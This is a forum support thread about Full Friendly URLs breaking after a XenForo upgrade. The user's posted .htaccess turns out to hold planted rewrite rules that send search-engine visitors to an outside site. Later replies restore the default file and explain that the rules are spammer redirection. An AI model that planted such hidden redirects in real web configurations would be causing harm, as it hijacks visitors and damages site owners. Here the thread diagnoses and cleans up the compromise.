1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Full Friendly URLs stopped working after upgrade.

Discussion in 'Installation, Upgrade, and Import Support' started by Ray, Dec 27, 2010.

  1. Ray

    Ray Active Member

    I upgraded from beta 3 to beta 5 and Full Friendly URLs stopped working, I get 404 pages.

    Everything seems to be working fine with Full Friendly URLs disabled.
     
  2. Brogan

    Brogan XenForo Moderator Staff Member

    Did you overwrite your .htaccess by any chance?

    Can you post the contents of your .htaccess file?
     
  3. Ray

    Ray Active Member

    .htaccess:

    Code:
    RewriteEngine On
    RewriteCond %{HTTP_REFERER} .*g?oog?le\.* [OR]
    RewriteCond %{HTTP_REFERER} .*ask.* [OR]
    RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
    RewriteCond %{HTTP_REFERER} .*excite.* [OR]
    RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
    RewriteCond %{HTTP_REFERER} .*msn.* [OR]
    RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
    RewriteCond %{HTTP_REFERER} .*aol.* [OR]
    RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
    RewriteCond %{HTTP_REFERER} .*goto.* [OR]
    RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
    RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
    RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
    RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
    RewriteCond %{HTTP_REFERER} .*search.* [OR]
    RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
    RewriteCond %{HTTP_REFERER} .*bing.* [OR]
    RewriteCond %{HTTP_REFERER} .*dogpile.*
    RewriteRule .* http://frigo.info/hvac/temp.php [R,L]
    I remember it being different, I think someone replaced my .htaccess file the same day I upgraded but I'm not sure. :S

    Here is what I found after googling the url found at the very end of the file:
    http://forums.oscommerce.com/topic/368962-hacked-httaccess-changed/
     
  4. Brogan

    Brogan XenForo Moderator Staff Member

    The .htaccess in your forum directory should contain this as a minimum:

    Code:
    <IfModule mod_rewrite.c>
    RewriteCond %{REQUEST_FILENAME} -f [OR]
    RewriteCond %{REQUEST_FILENAME} -l [OR]
    RewriteCond %{REQUEST_FILENAME} -d
    RewriteRule ^.*$ - [NC,L]
    RewriteRule ^(data|js|styles|install) - [NC,L]
    RewriteRule ^.*$ index.php [NC,L]
    </IfModule>
    If you haven't edited your .htaccess file to add any custom code then I would replace the contents with what I have posted above, which is the default.
     
  5. Ray

    Ray Active Member

    Thanks, everything's back to normal.
     
  6. dieketzer

    dieketzer Well-Known Member

    do you have any idea how somebody was able to overwrite your htaccess?
     
  7. Mikey

    Mikey Well-Known Member

    What the .htaccess file he had was doing was taking all the major search engines, and if the user hit your site by clicking the link from the search engines, they would be redirected to a different page. It's what spammers do regularly, if you did not do it, change your passwords immediately, can be very bad for your Search Engine rankings.
     

Share This Page